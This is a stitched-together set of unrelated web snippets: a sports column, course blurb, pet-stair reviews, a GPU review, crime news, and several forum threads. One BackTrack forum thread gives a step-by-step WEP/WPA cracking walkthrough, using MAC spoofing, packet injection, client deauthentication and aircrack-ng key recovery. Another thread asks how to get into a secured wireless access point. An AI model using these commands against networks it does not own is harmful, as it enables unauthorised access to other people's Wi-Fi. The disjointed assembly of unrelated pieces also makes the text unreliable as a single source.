Those "kids" played at Colony, where Nelson built the foundation that led to a pair of CIF football titles under another coach.
The other contributing factor was the recent admission by NBA player Jason Collins that he was gay, the first athlete on a major mainstream professional team to go public.
Nelson never told any of his staff members about his lifestyle. As a matter of fact, when he left the area in 2006 only a handful of trusted friends knew.
It's doubtful Nelson would have entered coaching had those in charge known his sexual preference. Who would have taken the chance? Who would have bet his/her career on such a man?
But there was no such questioning of Jerry Sandusky, the former Penn State assistant coach who turned out to be a convicted pedophile.
There is a major difference.
Nelson was so well thought of as a coach and respected, he had a short path to landing a head coaching position. He starting coaching with the late Dean Karnoski at Glendora before landing an assistant's job at (San Bernardino)San Gorgonio.
"Not a day went by in my coaching career that I didn't think about Dean's influence on my coaching style," Nelson said. "His no-nonsense approach to the basics and no-excuse attitude about the value of superior conditioning were the backbone of both his and my success."
After San Gorgonio, Nelson landed at Alta Loma in 1991. The Braves had not won a league title or made the playoffs since 1968. That rapidly changed as the Braves won a Mt. Baldy League title and reached the CIF semifinals in 1992.
"Parents were equally excited about the experience their sons were having as part of the football program, not as much for winning although that helped, but for the family atmosphere generated by the coaches and players," Nelson said.
He'll now say leaving the school was a "poor decision, biggest regret of my life." Young coaches, however, always explore moving up after experiencing success.
He opened King but left after two rough years, yet landed a similar job at Colony.
"Coaching at Colony was extremely difficult for me from the standpoint of a conflict of coaching style, Nelson said. "I only know one way to coach and that is with precision, intensity and physical conditioning. My coaching philosophy, which had served us so well at Alta Loma, was not a good mix for Colony. The chemistry just wasn't the same.
"My job to the parents there was getting scholarships, not necessarily winning. So, in 2006, I knew it was time to start another part of my life."
He landed a teaching position in Virginia and moved across country to be with his partner, whom he met at the 2006 BCS championship game between Texas and USC at the Rose Bowl.
"It has been seven wonderful years of teaching and visiting historical parts of the East Coast, to say nothing of the college football games," Nelson said. "I am comfortable."
Looking back, Nelson is most uncomfortable with one decision.
"I regret never telling my parents," he said.
The future is certain to have questions about Nelson. There will be comments, positive and negative.
He will find some support from his former colleagues.
"Who cares?" asked one veteran coach, highly successful and also a CIF title winner. "Is it really news, especially in 2013? Does it matter?
"I'll tell you what matters. He had a great reputation, was a great hire, did a great job, was never in trouble. He built character at a school that was lacking self-esteem.
"And, more importantly, his kids followed him. They worked hard for him, they produced, they were successful. That's what really matters."
Louis Brewster is a sports columnist. His work appears Sunday and Tuesday. He can be reached at 909-483-9363, email@example.com or Twitter.com/LouBrewsterSpts.


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However, I recently got an email forward that wasn't quite so innocent. You've probably received one at some point yourself. The subject was something attention grabbing, but legitimate enough: Important Safety Warning, Please Read (or something to that effect.) When you open the email, there's information about the …


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ECP427 - Professional Engagement 2 (Primary School 2)
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Trimester 2: Burwood (Melbourne), Waurn Ponds (Geelong), Warrnambool
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This unit will provide students with opportunities to teach and observe interactions between teachers and children during the primary school years. In a professional experience placement, students will engage with children and teachers and will be able to critically analyse and reflect on the components of quality learning environments and programmes.
Students will be able to make critical connections between theory and practice, and incorporate their understandings about the Australian Curriculum and the Graduate Standards for Teachers in the context of their own competencies.
Curriculum and application: critique and reflection, 40%, 1600 words
Assessment and planning for learning, 60%, 2400 words
Hurdle Requirement: Satisfactory completion of the professional experience placement is required in order to pass this unit.
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CWFC featherweight title bout between Jim Alers and Joni Salovaara headlines Cage Warriors 53 this Saturday night at the Kelvin Hall in Glasgow. Still some tickets available HERE priced £30. The event streams worldwide and free of charge for those not able to make it along.
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When I'm not boring WorldStart readers with occasionally uninformed software advice, I work at a hardware store in a small Midwestern town, boring customers with occasionally uninformed hardware advice. While our town doesn't provide the level of diversity found in large urban centers, for several of our customers, English is a second language, and a few speak no English at all. Consequently, as someone barely fluent in English, and only able to converse in what little Spanish I gleaned in my Mesozoic era high school (most long since forgotten), I welcomed the Google Translate app, which translates text between more than 60 languages, and offers spoken word translations for many of them.
For a text translation, type a word or phrase into the field or, for a spoken translation, tap the microphone button (when spoken translation is available, it's found below the text field) and speak clearly into the device. The spoken word translation is particularly handy for languages using characters not available on an English keyboard.
In the first test, I asked the most important question I could imagine, and translated it into Spanish (tap the arrow to the right of the text field for the translation).
Press the speaker button to play back a spoken translation.
Languages are found in the drop down menus. To reverse the translation, just tap the double arrow in the center.
Every translation is saved in History (tap the arrow shown below).
There are 3 buttons at the top right of the History screen. Sort, organizes alphabetically or by time of entry.
Tapping Filter brings up the keyboard, where words entered in translations from the list are filtered in, to narrow search focus.
The button at the far right offers the options displayed below. As it is in many email clients, important items can be starred, and filtered accordingly (tap the star to the left of a selection, to add it to the starred list).
Press and hold a translation stored in History to display it or remove it from the list. To change languages for a stored translation, simply select new languages from either language menu.
Tap the menu arrow to return to Translate. To view only the starred items mentioned above, tap Favorites.
Text can also be entered by writing it on a touch screen. Tap the handwriting button shown below the text field.
Unfortunately–if it had really mattered–by the time my clumsy fingers finally accomplished the written translation attempted below, it probably would have been too late.
Due to the unique grammatical nuances of different languages, many translations will be clumsy, with some probably incomprehensible but, with a little patience, a mobile translator can still be an indispensable addition to an Android or iPhone toolbox (click or tap here [1] for Android and here [2] for iPhone)
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I installed on BT2Final programs Spoonwep2 and SpoonWpa, but when they start, give me this error:
Exception in thread "main" java.lang.NoClassDefFoundError: javax/swing/GroupLayout$Group
seem to stop and not start.
What's the problem?
BT2 got java5
this proggys need java 6 ...........
update java and normally it will works
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Today's business environment requires skills ranging from the analytical to the creative. The programs at Washington State provide a broad education leading to careers in information technology, business, accounting or office administration.
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Thomas C. Fox was NCR editor and/or publisher most years between 1980 and 2015. His reports from Vietnam appeared in the earliest issues of National Catholic Reporter. He has also reported for The Washington Star, the Detroit Free Press, TIME magazine and The New York Times. His e-mail address is firstname.lastname@example.com [1].
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La Sierra University (Riverside, CA)
Pepperdine University (Malibu, CA)
The Master's College (Santa Clarita, CA)
Freelance Saxophonist
Artist's Biography
David Brennan is widely sought after as both a performer and teacher in the greater Los Angeles area. His performance career includes recorded music for and appearances in several motion pictures, including "A Bright Shining Lie," "Pumpkin," "Road Trip," "Don't Say A Word," and the upcoming addition to the "Shrek" franchise, "Shrek the Halls." In addition, he has had the honor of playing for President Bill Clinton and recently served as a consultant for the hit ABC show "Grey's Anatomy."
He has performed the national anthem at the NCAA Tournament Championship Finals in both Gymnastics and Volleyball. His ensemble experiences include performances with the West Hollywood Orchestra, Santa Monica College Symphony, Santa Monica Civic Light Opera, and Gang Nam Symphony from Seoul, South Korea. Additionally, he was granted permission by the publishing company for Lindsey Buckingham (Fleetwood Mac) to arrange for saxophone quartet a version of his hit song "Go Your Own Way," which was premiered in concert in Los Angeles.
Dr. Brennan holds the unique distinction of Bachelor of Arts, Master of Music, and Doctorate of Musical Arts from the University of California, Los Angeles (UCLA), where he studied saxophone performance, conducting, and music education. He currently serves as a member of the faculty at La Sierra University (Riverside, CA), Pepperdine University (Malibu, CA), and The Master's College (Santa Clarita, CA), and was recently appointed as an endorsed artist/clinician with the Conn-Selmer Company.


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Pauline Boldt is an internationally published photographer specializing in people, food & travel. Although based in Winnipeg, Pauline's work takes her across North America and throughout Europe. Recent features include Cereal Magazine, Design Sponge, A Cup of Jo, What Katie Ate, Sunday Publishing, You Can Now & The Foodie Bugle.
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ATI Radeon HD 3870 & 3850: A Return to Competitionby Anand Lal Shimpi & Derek Wilson on November 15, 2007 12:00 AM EST
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Finally. We're finally getting somewhere interesting in the graphics industry. Although they're sure to return, the days of reviewing $600 graphics card after $600 graphics card are on hiatus, and instead we're reviewing a new class of mainstream cards with earth-shattering performance.
NVIDIA's GeForce 8800 GT kicked off the trend, in one fell swoop making almost all of NVIDIA's product line obsolete thanks to the high performance and low price tag (we'll talk about that last part shortly). But what we saw there wasn't a fluke, it was a preemptive strike against AMD, who have been hard at work on an affordable GPU of their own.
This new product, like the 8800 GT, would be aimed squarely at the $150 - $250 market segment, something both AMD and NVIDIA did a horrible job at with mainstream releases earlier this year (2600 and 8600 both sucked guys).
Introducing the RV670
AMD's two new graphics cards launching today are both based off a new GPU, referred to internally as the RV670. The basic architecture of the hardware is largely unchanged from R600; there has been some additional functionality added, and a great deal of internal bandwidth removed, but other than that this is very much an R600 based part.
The biggest news of this part is that it is fabbed on a 55nm TSMC process. This is a half-node process based on 65nm technology, giving AMD an advantage in die size (cost) and potentially clock speed and/or power.
Historically, AMD's RV series has been a cost cut version of their R series designed for lower end volume parts, and that's where RV670 started. Right of the bat, half the external and internal memory bandwidth of R600 was cut out. External bandwidth dropped from 512-bit to 256-bit, but AMD stuck with 8 memory channels (each dropped from 64bit to 32bit).
Internally, the ring bus dropped from 1024-bit to 512-bit. This cut in bandwidth contributed to a significant drop in transistor count from R600's ~720M. RV670 is made up of 666M transistors, and this includes the addition of UVD hardware, some power saving features, the necessary additions for DX 10.1 and the normal performance tuning we would expect from another iteration of the architecture.
Processing power remains unchanged from the R600; the RV670 features 320 stream processors, 16 texture units and 16 redner back-ends. Clock speeds have gone up slightly and memory speeds have increased tremendously to make up for the narrower memory bus.
The RV670 GPU is also fully PCI Express 2.0 compliant like NVIDIA's G92, the heart and soul of the GeForce 8800 GT.
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munky - Thursday, November 15, 2007 - linkBut... I'd like to see more games benchmarked, and with AA preferably. Reply
StormRider - Friday, November 16, 2007 - linkIs anyone else bothered by the transistor count of 666 million? Couldn't they have done something so that it was 665 million or 667 million instead? Reply
aeternitas - Tuesday, December 11, 2007 - linklol How stupid. As you go out using this card to obviously kill some sort of opponent, you're bothered by this? Reply
Kaleid - Friday, November 23, 2007 - linkJust a number, nothing more to it. Reply


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This pet staircase converts into a ramp in seconds, providing a means for older or arthritic pets to reach sofas or beds without exerting undue stress on joints and muscles. The steps fold down to form a 30� ramp that allows pets to ascend and descend safely. The stairs are lined with 3/8" non-slip carpet that is soft on paws yet enables confident footing. The stairs are 16" W x 12" D and the durable pine frame supports up to 130 lbs., ensuring a stable platform for full-grown canines or husky felines. The legs fold down for ease of storage. (25 lbs.) Three-Step. 40" L x 17 1/2" W x 19 1/4" H.
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No more jumping out of bed
By Gregg the Lion Guy
from Carol Stream., IL
No more jumping up to lift te dogs int bed. Attached a motion sensor light so they can see to get to it at night. This should be an option.
Bottom Line Yes, I would recommend this to a friend
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Top Notch Pet Stairs
By JennieA NYC
from New York City, NY
My husband and I shopped around for quite some time before we bought a set of pet stairs. When we saw these (and the amazing reviews) we purchased them right away for our 10 year old lab who has trouble getting into our bed sometimes.These stairs are FABULOUS! It took about 5 minutes for her to learn how to use them (going up, she still hasn't figured out going down) and I can say they are safe, sturdy, reliable, amazing!The construction is very good and I have no concerns she will fall off or that they will fall over.My only 'negatives' are that the carpet is a loop rather than a cut pile, and for some animals their claws may get stuck in the loops which could be an issue. Also, the carpet color is a pretty hideous pink, but that doesn't matter so much since the stairs are so sturdy and safe. And finally, this should be offered in one size up. Our bed is not that high, and it's still a good step from the last stair up to our bed. For anyone with a high bed, measure first.
Perfect for labs and golden retrievers
By Caroline and Patrick
from Birmingham,AL
I use the stairs for helping my dogs in and out of our SUV as well as helping them on the bed! It is a stress free experience to load and unload them in the car now-well worth the small expense!!!! (It took my dogs a few times to get the hang of it and now they love them!)
Use it right out of the box!
By Steelguy
from Moreno Valley, CA
We use the pet ramp and/or staircase to permit our two small dogs to access a bed.This product not only looks great, but is made of quality materials with sturdy construction.There's nothing negative about this product.
I would buy this product again and again
By JEL
from Tybee Island, GA
We have tried at least 4 different devices on the market and were close to have a step custom built by a local carpenter. But your peoduct proved to be the perfect solution.
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Excellent product
By The crazy doxie lady
from Scottsdale, arizona
With two small aging dogs who would not think of sleeping on the floor, they can now both get up and down safely. I have one that this is the only ramp/stairs I have been able to get her to use and I have tried them all. This will pay for itself in unneeded vet bills in their later years.
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By Dog Lover
from Glendora, CA
Product is well made and goes with any decor. The only problem is getting my dogs to use it. They aren't used to climbing steps or using a ramp, but I keep trying with little treats. Purchased to help spare their hind legs from having problems as they age.
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I would buy it again.
By HYC loves her boys!
from McKinney, TX
I purchased this product for my 2 dogs that sleep with me at night. One is a 14 yr. old dachshund (Gus)& my 4 yr. old small mixed dog (Radar). At first both dogs were afraid of the step/ramp. I left it next to my bed along with the old steps to start out. Then I moved the old steps and begin showing them how they could get up the steps/ramp. But with a little training with the small dog, he is now going up & down the steps without me helping him. My 14 yr old dachshund (Gus)I've had to help him get started and last night he got up during the night and went down the steps with no help. It is a very nice piece of furniture and very sturdy for my two precious boys to use. I haven't used it as a ramp yet but will introduce it to both Gus & Radar soon.
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16 year old Dog loves it.
By chinny
from Tallahassee, Florida
Use for dog to get up on the sofa. he is old and can't jump too well.
Worth every dollar.
By Emilyjane
from Tampa, Florida
We live on our boat and the master bed is too high for our dog to jump up and rough on her legs when she jumps down. The Pet Step is the perfect answer. The wood finish is dark and classy. The carpet covering the steps is neutral in color and of a very tight nap making it easy to clean. We initially thought the price was high but when we received the Pet Ramp we found it to be worth the cost. We would buy it again.
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Forward Thinking: Handmade Products for the Modern World with Lori Weitzner
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In our fast-paced, technology-dependent society, a handmade product has the power to forge connections around the world and touch the soul of the consumer. The challenge facing contemporary designers is how to work with artisans to preserve ancient traditions and techniques while creating something truly new, innovative, and relevant to today's market. Drawing on her own experiences as a textile designer and business owner, Lori Weitzner will explore the collaborative process of developing a handmade product for the modern world as she travels the globe.
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A. All cousins share a common ancestor. Your "degree of cousinhood" (second, third, fourth) depends on how many generations back that common ancestor is. Take your first cousins, who you know are your aunts' and uncles' children. You all have the same grandparents. Your second cousins share a set of great-grandparents with you, your third cousins have the same great-great grandparents, and so forth. So your granddaughter and your sister's grandson would be second cousins, for example — they have two generations between them and the common ancestor (your parents).


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Joint replacement is a time-tested procedure, having been performed for more than 40 years. Today, orthopedic surgeons at Sutter Health offer Northern Californians a wide range of options, including hip, knee and shoulder replacement, as well as procedures involving the elbow, hand, wrist and ankle. Within the Sutter Health network, you'll find surgeons who utilize effective, new options alongside traditional, best-practice approaches. From the choice of prosthesis to surgical approach, our first goal at Sutter Health is to find the approach that best fits each patient.
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Raising $10,000 reward for information in North Charleston shootings
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North Charleston - The 911 calls from three shootings on New Year's Day paint a terrifying picture of the first murders of 2014.
"She went to the door, somebody shot through the door!" screamed the caller from Aintree Drive. "I need help!!"
"Momma, momma, momma I love you," whispered the caller on Ventura Drive before the operator picked up the phone.
In North Charleston there have been eight shootings, resulting in two deaths of Janet Royal and Debra Randall Martin, and leaving countless people in grief.
The death of Martin is almost audible in the 911 tapes when her daughter said she stopped breathing and then begins to sob.
During a press conference Friday, North Charleston Police Chief Eddie Driggers he does believe the three on January 1 are related. Otherwise, he gave no details on the suspects or motives.
Tri County National Action Network's Elder James Johnson told News 2 it's time for the community to speak up and take back the streets.
"Help them. They ask for help. They want anybody with information leading to the arrests please, please speak up," Johnson said. "We will continue raising money to solve this crime because these people are very dangerous. They need to be off the street."
The network plans to raise $10,000 by the end of the week to give to anyone with information leading to an arrest in one of the two murders.
"I don't think the ladies had any connection with any kind of crime. If there were a baby behind that door that said 'who is it?' they would've shot and killed that baby also because they shot through the door, none of the doors was open," he said.
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What type of AP is it?
Hey guys new here...
I'm interested in learning how to gain access to a secured wireless AP. I have seen some great guides on the web using BT 2 and 3 but nothing for version 4. I assumed their would be one listed in this forum here but cant seem to find anything. Can someone tell me if a BT 3 guides will work with BT 4. Ive read that BT 3 commands were very different from BT 2 and so am worried that BT 4 will be different than BT 3.
What type of AP is it?
Search for a guy named Mushroomheadbanger on Youtube. He's got some pretty easy to follow guides on how to break WEP and WPA.
I have a LevelOne router that I will be testing it on. I'm just trying to find a guide like the ones I have seen for BackTrack 2 and 3. I will be glad to follow the version 3 that I found on the internet if anyone here can confirm it will work. I would give you the link to the guide I found but dont believe posting links is acceptable.
What the...? You really want someone to answer that?
Next time, don't ask if it WILL work. Test first, and if something doesn't work, search for a solution, and ONLY after you've done lots and lots of searching, if you still can't find a solution, try and get help here.
Try harder.
I don't guess you would know why this forum doesn't offer a How To for this task would you?
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Alright, settle down people.
@Modify_inc , many of the various attack tools on BackTrack 3 and 4 will work in similar ways because they generally differ in version number only (with the tools in BT4 being more recent), and in addition, many of the tools from BT3 made it into 4. The differences between the BackTrack versions are more in the area of the base distribution, the packaging system and the repository, so its quite likely that tutorials on Wireless Cracking written for BT3 will still work in BT4 as long as the required tool is still present.
My advice is to give it a go and see.
Capitalisation is important. It's the difference between "Helping your brother Jack off a horse" and "Helping your brother jack off a horse".
The Forum Rules, Forum FAQ and the BackTrack Wiki... learn them, love them, live them.
Not to mention everyone and their dog has a made a wep cracking video, and it's really not cool.
Now if you can get it done using an install of BT4 on a dead badger. Then my friend you have done something kewl.
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Hi fellaz,
For those in need of simple wep wpa tuts try this:
First steps for usb in vmware:
Please note not expert but tried all sorts of ways to do this
and this is by far the easiest and reliable. for me anyway..
#= commands to use
Boot up
insert wifi card
check vm removable devices for card
#lsusb to see if card is on system
#iwconfig to check cards interface name ie. wlan0 or ra0 rausb0
#macchanger 00:11:22:33:44:55 (ie.)wlan0
Put card into monitor mode to capture packets or "info":
#airmon-ng start wlan0
#airodump-ng wlan0
find a you specific network and copy the bssid mac address
then use the following commands and repalce the mac address where it says:
#airodump-ng wlan0 -c(channel) -w (capture) --bssid (ap mac add) wlan0
Then follow the following based on your type of encryption.in separate windows
1: #aireplay-ng -1 0 -a (ap mac add) -h 00:11:22:33:44:55 wlan0 (to associate)
2: #aireplay-ng -3 -b (ap mac add) -h 00:11:22:33:44:55 wlan0 (to replay packets injected)
and wait for the arp reply and boom you should see the date column in airodump-ng shoot up
wait till u got about 5000 ivs which is the data you need to unencrypt the key and then
in a new window:
3: #aircrack-ng capture*.cap (the * is the wildcard to use all capture files save you looking for
specific one if you do a lot of scans.
then wait ...............you should see a network list pick you number and then it will start to
crack it if it says not enough ivs dont worry leave it running it will carry on once you got
10,000 and start to crack until it works usaually takes me about 3-4 mins with good enuff signal.
deauth for client (wait for handshake)
#aireplay-ng -1 10 -a (apmac) -c (client Mac) wlan0
aircrack-ng capture*.cap
Hope this Helps. Please note: you could have mac filtering problems but there are ways to clone etc
All info for pentest purposes and not nicking you streets wifi , ILLEGAL.........ILLEGAL....
"macchanger 00:11:22:33:44:55 (ie.)wla0
if nothing illegal why all the extra steps mac changing and all? seems like a lot of exrta typing just to see if something would wok not to mention the fact that is your ap.


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Topic: Does anyone have any contact at Sloan Kettering?
My dad is looking for a second opinion.
PS: Has anyone tried this?
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My dad is looking for a second opinion.
PS: Has anyone tried this?
Although, my husband ultimately chose a different location for his resection he had been accepted for surgery by Dr. Fong at Sloan Kettering. Dr. Fong is highly regarded by his peers and is known to be an outstanding physician.
In 2006 Dr. Fong did not make himself available for second opinions, something you might want to consider when contacting Sloan Kettering. I suppose, it lays in the wording when making the initial contact by asking for an appointment all the while avoiding the request for a "second opinion".
Wishing for the best.
My mom saw Dr. Abou Alfa back in July. Many consider him to be at the forefront of this field. However, my mom's second opinion had more to do with her chemo treatments and nothing to do with surgical oncology.
Here is his link: http://www.mskcc.org/prg/prg/bios/631.cfm
Good luck! And if they give you a long wait time to see him (or any oncologist really) definitely go the email route and drop him a line. It worked in getting my mom seen a little faster.
My husband Ken saw Dr. Karyn Goodman at Stanford, since then she has transferred to Sloan Kettering. Awesome DR!!!
If anyone was in need of any information about Sloan Kettering, I would be more then happy to provide!
I currently see Dr. Abou Alfa too, he's dealt with a lot of patients with cholangiocarcinoma. Such a funny guy and everyone in his office is so helpful.
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November 30, 2012 at 01:50:24 Nov 30, 2012 @ 01:50
@twoflies, good looking. Supply said they'll have pictures up today.
A wolf in sheep's clothing.
Someday Store in Melb has the supreme drop the same day as Supply and this is what is dropping there:
3 Tees.
77 Tee (shattered logo) in black or white.
Otis Tee (Otis Redding photo print) in black or grey.
Stax Logo Tee (Supreme front & Stax Records back prints) in white or red.
6 Caps.
Atelier 5-Panel Cap – large but subtle same color emb. logo on snap-back cap.
Bevelled Logo 5-Panel Cap – 3D effect emb. logo with contrast brim.
Zebra Side Camp Cap – with printed zebra side panels.
Croc Camp Cap – with crocodile-print and Box Logo.
Tree Camo Camp Cap – all over tree camouflage print.
Canvas Camp Cap – classic basic Supreme camp cap with red Box Logo.
3 Beanies.
Camo Beanie – multi-col camo knit beanie with logo and pompom.
Big Logo Beanie – solid knit beanie with big logo, available in 7 colors.
Rose Beanie – pompom beanie with logo and large rose knit.
Felt Arc Crew Sweat.
Supreme raglan style sweat with red emb. felt lettering.
Snap Hook Keychain.
UFO's and Paradiddles.
A wolf in sheep's clothing.
Don't think anyone would have the balls to try and buy 5 camps at Supply.
A wolf in sheep's clothing.
Supreme, OriginalFake, WTAPS, Stussy, DQM, KITH + More http://hypebeast.com/forums/apparel/207841
When did you get there and when did it open?I went on drop day, was second in line and copped green canvas camp and sky blue stax tee... there were only like 20 people lined up but camps were gone fast af.
Not really... Usually $300 +wow...I saw that Supply got some blogos in the other day $275 and only in grey and navy. what a joke haha. Your better off buying on eBay smh...
A wolf in sheep's clothing.
will do mate.Moogy, could you please see if there are any Supreme x Daniel Johnston collab tees left?
A fucking idiot, cos its summer.Is that a Yolo cap?
Most of that stock is still available on the us web store lol
Ps. Who did I see at pitt st mall on boxing day wearing a grey last supper, 2012 sb's and a supreme cap?
instagram: @timcchuan
just went today man, I have no clue. I'm sorry, just check they're online website? it's 100% accurate of what they've got.@moogy when you called in were the vans syndicate old skools in stock? might pick up a pair when i come through tomorrow.
Plus, entire outfit looked terrible for $500+A fucking idiot, cos its summer.


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I am developing a web app in php with help from javascript. But in IE6, javascript function is not being called after clicking a button. I have tried a lot to tackle the problem but eventually I have to land up here...
Here is the code I am using
<input type='image' src='button.jpg' id='button' name='name' onclick='A();'/>
And javascript code is
function a()
I have tried a lot of things after googling but nothing worked out. Nothing happens after clicking the button though it works in FF, Chrome. Can anyone help me...
The code you posted should not work in any browser. Post a live URL.
Your function name is different from the name your calling, IE is very sensitive to case types so if you simply change your onclick A(); to a(); it should work fine.
Your problem is something that happens from time to time and is very hard to pick up on, in your script you have the following function.
function act_update(para, page) {
var myurl = page + '?' + para;
type: 'GET',
url: myurl,
success: function(data) {
// window.setTimeout(update, 10000);
[B]},[/B]
I have made the error bold and red so you can see it, what happens is in IE when it says a comma that's not supposed to be there it automatically ends the script there and then while other browsers have been designed to read the code no matter if there's a stray comma. To fix the error simply remove that comma and it should work fine after that.
I am really sorry for a() and A(). It was a spelling mistake. Perhaps please check out Walknshine.com.
Go to login button.It will call out javascript function in chrome, FF but not in ie6.
I hope I am clear now.
the code is
<input type='image' href="" src='login-button.jpg' id='button' name='login_user' value='Login' onclick='a();'/>
function a()
Can anyone suggest me anything??
No....sorry it didnt work out...even after removing comma...it was not working in FF or chrome...any other suggestion??
Are you 100% sure you updated your javascript.js file as i viewed your source again and nothing has changed.
I changed and and then rechanged to same one as I needed to login...okk...I am changing or removing the comma...
Sorry but you changed the wrong function, what you need to do is revert the change for the function you removed the comma in as that had no issues. Next find the act_update function which starts on line 234 and end on line 249. Inside that function you will find the stray comma which needs to be removed as per my previous post.
Sorry but that also did not work...u can see what I have changed....
I have even commented over there // removed comma 2
I looked at your source and i kept missing the main issue, in your file you have act_update repeated about 3-4 times which is a simple oversight, if you remove the repeats the errors should go away and everything should work fine.
Thank you very for solving my problem....:):):)
No problem, glad to help.


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'"It's good with the puck, he makes good games and he makes good decisions, said Sabres coach about the former protégé of Patrick Roy in Quebec. He still has things to learn. As, for example, how to play by our way, not that found in the junior … But he is excited and wants to learn."'
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